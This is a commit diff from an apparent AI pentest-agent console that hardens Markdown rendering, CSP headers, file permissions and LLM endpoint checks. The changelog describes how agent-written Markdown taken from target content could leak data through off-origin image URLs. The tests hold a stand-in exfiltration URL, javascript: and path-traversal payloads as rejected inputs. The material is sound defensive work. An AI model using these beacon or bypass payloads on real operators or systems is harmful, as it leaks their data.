mirror of
https://github.com/BaaRai/ARTEX.git
synced 2026-12-04 21:53:54 +08:00
Compare commits
2
Commits
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
3766214b64 | ||
|
|
347c50931c |
@@ -237,6 +237,7 @@ jobs:
|
||||
- run: npm run test:chat-mentions
|
||||
- run: npm run test:format
|
||||
- run: npm run test:http-href
|
||||
- run: npm run test:markdown
|
||||
- run: npm run build:static
|
||||
|
||||
python:
|
||||
|
||||
@@ -6,6 +6,7 @@ All notable changes to this project are documented in this file. The format is b
|
||||
|
||||
### Security
|
||||
|
||||
- **Markdown images no longer load from other origins.** Finding reports, task reports and transcripts render Markdown written by the agent from target content, and an image in it was fetched by the operator's browser as soon as the view opened: `` sent whatever the URL carried to an outside host, outside the sandbox egress controls. The Markdown renderer now loads only same-origin images under `/api/` and `/uploads/` (relative paths, or absolute URLs on the console's own origin, checked after dot segments are resolved; protocol-relative URLs, backslashes and encoded slashes are refused) and shows any other image as its alt text and URL, linked when it is an `http(s)` URL, so nothing is fetched until the operator clicks. The Content-Security-Policy sent with every response, console included, adds `img-src 'self' data: blob:`, which also covers images outside Markdown. Behaviour change: images embedded from external hosts in reports and notes, and company logos set to an external URL, no longer display.
|
||||
- **Transcripts and noa archives are owner-only, and Norma's Grep no longer installs ripgrep.** Norma writes `<data>/transcripts` and the noa compression archives under `<data>/noa` with 0755 directories and 0644 files, so any other uid on the host, the executor that runs the agent's commands included, could read every conversation (prompts, model output, tool results). At startup every directory in these two trees, the top ones included, now keeps at most its owner bits (0700) and every regular file at most owner read and write (0600); a narrower mode is never widened, and a missing top directory is created 0700. As for the key directory, nothing is changed by path: the trees are walked under an `os.Root` at the data directory, each entry is checked without following symlinks and changed through the descriptor that was checked, and a symlink (`transcripts` or `noa` themselves included), a hard-linked file or any other non-regular entry is refused and left as it is. A refusal or a failed mode change fails the start like a key directory that cannot be locked down: the error joins the isolation self-test, and only `ARTEX_ALLOW_UNISOLATED=1` (or `-dev-insecure-no-isolation`) starts anyway. Only the server reads these trees: the sandbox and Kubernetes workers mount only their task directory, the executor's shells and file tools work inside run directories, and archive export and the workspace file manager read them as the server. Files Norma writes later are still 0644 but sit under 0700 directories. Norma's Grep ran an unpinned `npm install -g @vscode/ripgrep` (install scripts enabled) when `rg` was missing; `NORMA_RIPGREP_NO_INSTALL` is now always set to `1` at startup, so no value, an empty one included, lets a Norma Grep install a package at run time (ARTEX's own Grep never starts ripgrep). Behaviour change: archiving the data directory as a non-root host user (`scripts/backup.sh --with-data`, which already asks for root) cannot read these two trees, and a data directory the server cannot change (for example an NFS export with root squashing, or a tree owned by another uid) fails the start until it is fixed or the opt-out is set.
|
||||
- **Saved LLM profiles and run-time completions go through the model URL guard.** The connection test refused a `base_url` or proxy on a loopback, private or instance-metadata address, but saving a profile accepted it, and every completion of a task, chat or Agent bound to that profile was sent there with the profile's stored API key. Saving a profile (`POST /api/llm/profiles`) and the legacy `POST /api/llm` now refuse what the connection test refuses, and every completion provider the server builds validates the proxy and each request URL before sending, checks every connection on the address it dials (so a name that later resolves to a refused address is still refused), validates redirects and keeps them on the configured origin. The existing allowances are unchanged: an exact `host:port` listed in `ARTEX_LLM_PRIVATE_ENDPOINTS` (for example Ollama or vLLM on the host or the Docker network) is accepted at save and at run time, and an Ollama profile on the built-in default `http://127.0.0.1:11434/v1` (an empty base URL) keeps working without it. Behaviour change: a stored profile, or an `ARTEX_LLM_*` environment config, whose endpoint or proxy points at a loopback, LAN or Docker-network address not listed in `ARTEX_LLM_PRIVATE_ENDPOINTS` stops working (each request fails with the guard's refusal) until its `host:port` is added there; a SOCKS5 proxy on a profile is refused, as the connection test already refused it; and a profile host that does not resolve cannot be saved.
|
||||
- **Chat bridge excerpts drop nested code fences whole.** `chatbridge.SafeText` paired any run of three backticks or tildes with the next one of either kind, so a longer fence quoting markdown (a four-backtick fence around a three-backtick `http` block, a `markdown` fence holding inline triple backticks, a backtick block inside a tilde fence) was closed at the first inner run, and the rest of the quoted evidence went to the chat provider as prose when excerpts or shared text were on. Fences now follow the CommonMark rules: a fence line has at most three spaces before its run, and its block ends only on a line holding a run of the same character at least as long and nothing else; an unclosed fence still drops everything to the end. A run elsewhere is dropped: after text, or in a title collapsed to one line, up to the latest end a code span could have; on a line inside a list item or a blockquote, only a closing line of the same character and at least the same length ends the fence, so a list item's continuation lines are content of it, and an unclosed one drops to the end. Ambiguous markdown errs toward dropping: a fence opened on the same line as a list marker, for example, may drop the list items after it.
|
||||
|
||||
@@ -20,7 +20,9 @@ func (s *Server) securityHeaders(next http.Handler) http.Handler {
|
||||
h.Set("Referrer-Policy", "same-origin")
|
||||
// The API is JSON, but a proxied error page must still not be framed.
|
||||
h.Set("X-Frame-Options", "SAMEORIGIN")
|
||||
h.Set("Content-Security-Policy", "frame-ancestors 'self'")
|
||||
// img-src keeps the browser from fetching images off-origin: Markdown from agent
|
||||
// and target text could otherwise beacon data out with an image URL.
|
||||
h.Set("Content-Security-Policy", "frame-ancestors 'self'; img-src 'self' data: blob:")
|
||||
if s.isHTTPS(r) {
|
||||
// Ignored by browsers over plain HTTP, so it only takes effect behind
|
||||
// the TLS-terminating proxy this deployment is documented to use.
|
||||
|
||||
@@ -4,6 +4,7 @@ import (
|
||||
"crypto/tls"
|
||||
"net/http"
|
||||
"net/http/httptest"
|
||||
"strings"
|
||||
"testing"
|
||||
)
|
||||
|
||||
@@ -12,7 +13,7 @@ var sharedHeaders = map[string]string{
|
||||
"X-Content-Type-Options": "nosniff",
|
||||
"Referrer-Policy": "same-origin",
|
||||
"X-Frame-Options": "SAMEORIGIN",
|
||||
"Content-Security-Policy": "frame-ancestors 'self'",
|
||||
"Content-Security-Policy": "frame-ancestors 'self'; img-src 'self' data: blob:",
|
||||
}
|
||||
|
||||
// consoleOnlyHeaders must stay off the API: they are document headers.
|
||||
@@ -107,3 +108,28 @@ func TestHSTSFromTrustedProxy(t *testing.T) {
|
||||
t.Errorf("untrusted peer: HSTS = %q, want none", got)
|
||||
}
|
||||
}
|
||||
|
||||
// The console renders Markdown from agent and target text. Without img-src a
|
||||
// Markdown image pointing off-origin is fetched as soon as it renders, which
|
||||
// leaks whatever the URL carries; the policy keeps images on this origin.
|
||||
func TestConsoleCSPImgSrc(t *testing.T) {
|
||||
handler := (&Server{}).Handler()
|
||||
|
||||
for _, path := range []string{"/", "/settings/", "/function/findings/detail/"} {
|
||||
res := httptest.NewRecorder()
|
||||
handler.ServeHTTP(res, httptest.NewRequest(http.MethodGet, path, nil))
|
||||
csp := res.Result().Header.Get("Content-Security-Policy")
|
||||
directives := map[string]string{}
|
||||
for _, d := range strings.Split(csp, ";") {
|
||||
d = strings.TrimSpace(d)
|
||||
name, _, _ := strings.Cut(d, " ")
|
||||
directives[name] = d
|
||||
}
|
||||
if got, want := directives["img-src"], "img-src 'self' data: blob:"; got != want {
|
||||
t.Errorf("%s: CSP img-src = %q, want %q (full policy %q)", path, got, want, csp)
|
||||
}
|
||||
if got, want := directives["frame-ancestors"], "frame-ancestors 'self'"; got != want {
|
||||
t.Errorf("%s: CSP frame-ancestors = %q, want %q (full policy %q)", path, got, want, csp)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
+2
-1
@@ -29,7 +29,8 @@
|
||||
"test:activity-merge": "node --test src/lib/activity-merge.test.mjs",
|
||||
"test:chat-mentions": "node --test src/lib/chat-mentions.test.mjs",
|
||||
"test:format": "node --test src/lib/format.test.mjs",
|
||||
"test:http-href": "node --test src/lib/http-href.test.mjs"
|
||||
"test:http-href": "node --test src/lib/http-href.test.mjs",
|
||||
"test:markdown": "node --import ./scripts/register-alias.mjs --test src/components/markdown.test.mjs"
|
||||
},
|
||||
"lint-staged": {
|
||||
"*.{js,ts,jsx,tsx}": ["biome check --write --no-errors-on-unmatched"]
|
||||
|
||||
@@ -0,0 +1,85 @@
|
||||
import { createElement } from "react";
|
||||
|
||||
import { renderToStaticMarkup } from "react-dom/server";
|
||||
|
||||
import assert from "node:assert/strict";
|
||||
import test from "node:test";
|
||||
|
||||
// Markdown renders agent and target text. An image there is fetched by the operator's
|
||||
// browser as soon as it renders, so off-origin images must become links instead.
|
||||
const md = await import("@/components/markdown");
|
||||
|
||||
function render(text) {
|
||||
return renderToStaticMarkup(createElement(md.Markdown, { text }));
|
||||
}
|
||||
|
||||
test("an external image renders as a link with its alt text and URL, not an <img>", () => {
|
||||
const url = "https://attacker.example/leak?data=SECRET";
|
||||
const html = render(`see `);
|
||||
assert.doesNotMatch(html, /<img/);
|
||||
assert.match(html, /<a [^>]*href="https:\/\/attacker\.example\/leak\?data=SECRET"/);
|
||||
assert.match(html, /beacon/);
|
||||
assert.match(html, /attacker\.example\/leak\?data=SECRET<\/span>/);
|
||||
});
|
||||
|
||||
test("same-origin images under /api/ and /uploads/ render", () => {
|
||||
assert.match(
|
||||
render(""),
|
||||
/<img [^>]*src="\/api\/tasks\/1\/files\/a\.png"[^>]*alt="shot"/,
|
||||
);
|
||||
assert.match(render(""), /<img [^>]*src="\/uploads\/x\.png\?v=2"/);
|
||||
});
|
||||
|
||||
test("tricky image URLs do not render an <img>", () => {
|
||||
for (const src of [
|
||||
"//evil.example/api/x.png",
|
||||
"/\\evil.example/api/x.png",
|
||||
"http://evil.example/api/x.png",
|
||||
"javascript:alert(1)",
|
||||
"data:image/png;base64,AAAA",
|
||||
"/api/../evil.png",
|
||||
"/uploads/../../evil.png",
|
||||
"/api/%2e%2e/evil.png",
|
||||
"/api/..%2fevil.png",
|
||||
"/api/..%2Fevil.png",
|
||||
"/uploads/%5c..%5cevil.png",
|
||||
"/apix/a.png",
|
||||
"/static/a.png",
|
||||
"/logo.png",
|
||||
]) {
|
||||
assert.doesNotMatch(render(``), /<img/, src);
|
||||
}
|
||||
});
|
||||
|
||||
test("sameOriginImageSrc allows only same-origin /api/ and /uploads/ paths", () => {
|
||||
const origin = "http://127.0.0.1:8080";
|
||||
const allow = md.sameOriginImageSrc;
|
||||
assert.equal(allow("/api/a.png", origin), "/api/a.png");
|
||||
assert.equal(allow("/uploads/a.png#x", origin), "/uploads/a.png#x");
|
||||
assert.equal(allow("http://127.0.0.1:8080/api/a.png", origin), "/api/a.png");
|
||||
assert.equal(allow("/uploads/../api/a.png", origin), "/api/a.png");
|
||||
assert.equal(allow("/api/a.png", undefined), "/api/a.png");
|
||||
|
||||
for (const src of [
|
||||
undefined,
|
||||
"",
|
||||
"http://127.0.0.1:8081/api/a.png",
|
||||
"https://127.0.0.1:8080/api/a.png",
|
||||
"http://127.0.0.1:8080/logo.png",
|
||||
"//127.0.0.2/api/a.png",
|
||||
"/\t/evil.example/api/a.png",
|
||||
"/\\evil.example/api/a.png",
|
||||
"\\\\evil.example/api/a.png",
|
||||
"/api\\..\\..\\evil.png",
|
||||
"javascript:alert(1)",
|
||||
"data:image/png;base64,AAAA",
|
||||
`blob:${origin}/0b6e6c1e-0000-4000-8000-000000000000`,
|
||||
"/api/..%2f..%2fevil.png",
|
||||
"http://user:pass@127.0.0.1:8080/api/a.png",
|
||||
"http://user@127.0.0.1:8080/api/a.png",
|
||||
]) {
|
||||
assert.equal(allow(src, origin), undefined, String(src));
|
||||
}
|
||||
// Without a known page origin an absolute URL is never trusted.
|
||||
assert.equal(allow("http://127.0.0.1:8080/api/a.png", undefined), undefined);
|
||||
});
|
||||
@@ -1,8 +1,42 @@
|
||||
"use client";
|
||||
|
||||
import { ImageOff } from "lucide-react";
|
||||
import ReactMarkdown, { type Components } from "react-markdown";
|
||||
import remarkGfm from "remark-gfm";
|
||||
|
||||
import { httpHref } from "@/lib/http-href";
|
||||
|
||||
// Images in agent and target text are fetched by the operator's browser as soon as
|
||||
// they render, so  would leak data without
|
||||
// a click. Only same-origin images under /api/ and /uploads/ load.
|
||||
const IMAGE_PATH = /^\/(?:api|uploads)\//;
|
||||
|
||||
// sameOriginImageSrc returns the same-origin path to load for an image source, or
|
||||
// undefined when the image must not load. The returned value is the normalized path
|
||||
// (dot segments resolved), so what is checked is what the browser fetches.
|
||||
export function sameOriginImageSrc(src: string | undefined, origin: string | undefined): string | undefined {
|
||||
if (!src || src.includes("\\")) {
|
||||
return undefined;
|
||||
}
|
||||
const base = origin ?? "http://origin.invalid";
|
||||
let url: URL;
|
||||
try {
|
||||
url = new URL(src, base);
|
||||
} catch {
|
||||
return undefined;
|
||||
}
|
||||
if (
|
||||
url.origin !== new URL(base).origin ||
|
||||
url.username !== "" ||
|
||||
url.password !== "" ||
|
||||
!IMAGE_PATH.test(url.pathname) ||
|
||||
/%(?:2f|5c)/i.test(url.pathname)
|
||||
) {
|
||||
return undefined;
|
||||
}
|
||||
return url.pathname + url.search + url.hash;
|
||||
}
|
||||
|
||||
// Tailwind-styled element overrides (no typography plugin in this project, so we
|
||||
// style each element). `node` is stripped — it's not a valid DOM attribute.
|
||||
const components: Components = {
|
||||
@@ -17,6 +51,31 @@ const components: Components = {
|
||||
a: ({ node, ...p }) => (
|
||||
<a className="text-primary underline underline-offset-2" target="_blank" rel="noreferrer" {...p} />
|
||||
),
|
||||
img: ({ node, src, alt, ...p }) => {
|
||||
const raw = typeof src === "string" ? src : undefined;
|
||||
const safe = sameOriginImageSrc(raw, typeof window === "undefined" ? undefined : window.location.origin);
|
||||
if (safe) {
|
||||
// biome-ignore lint/performance/noImgElement: same-origin API content, not a static asset next/image could optimize.
|
||||
return <img {...p} src={safe} alt={alt} className="my-1 max-w-full" />;
|
||||
}
|
||||
// Not loaded: show the alt text and the URL so the operator can choose to open it.
|
||||
const href = httpHref(raw);
|
||||
const label = (
|
||||
<>
|
||||
<ImageOff className="mr-1 inline size-3.5 align-text-bottom" aria-hidden="true" />
|
||||
{alt}
|
||||
{alt && raw ? " " : null}
|
||||
{raw ? <span className="break-all font-mono text-xs">{raw}</span> : null}
|
||||
</>
|
||||
);
|
||||
return href ? (
|
||||
<a className="text-primary underline underline-offset-2" href={href} target="_blank" rel="noreferrer">
|
||||
{label}
|
||||
</a>
|
||||
) : (
|
||||
<span className="text-muted-foreground">{label}</span>
|
||||
);
|
||||
},
|
||||
hr: () => <hr className="my-2 border-border" />,
|
||||
blockquote: ({ node, ...p }) => (
|
||||
<blockquote className="my-1 border-l-2 border-border pl-2.5 text-muted-foreground" {...p} />
|
||||
|
||||
Reference in New Issue
Block a user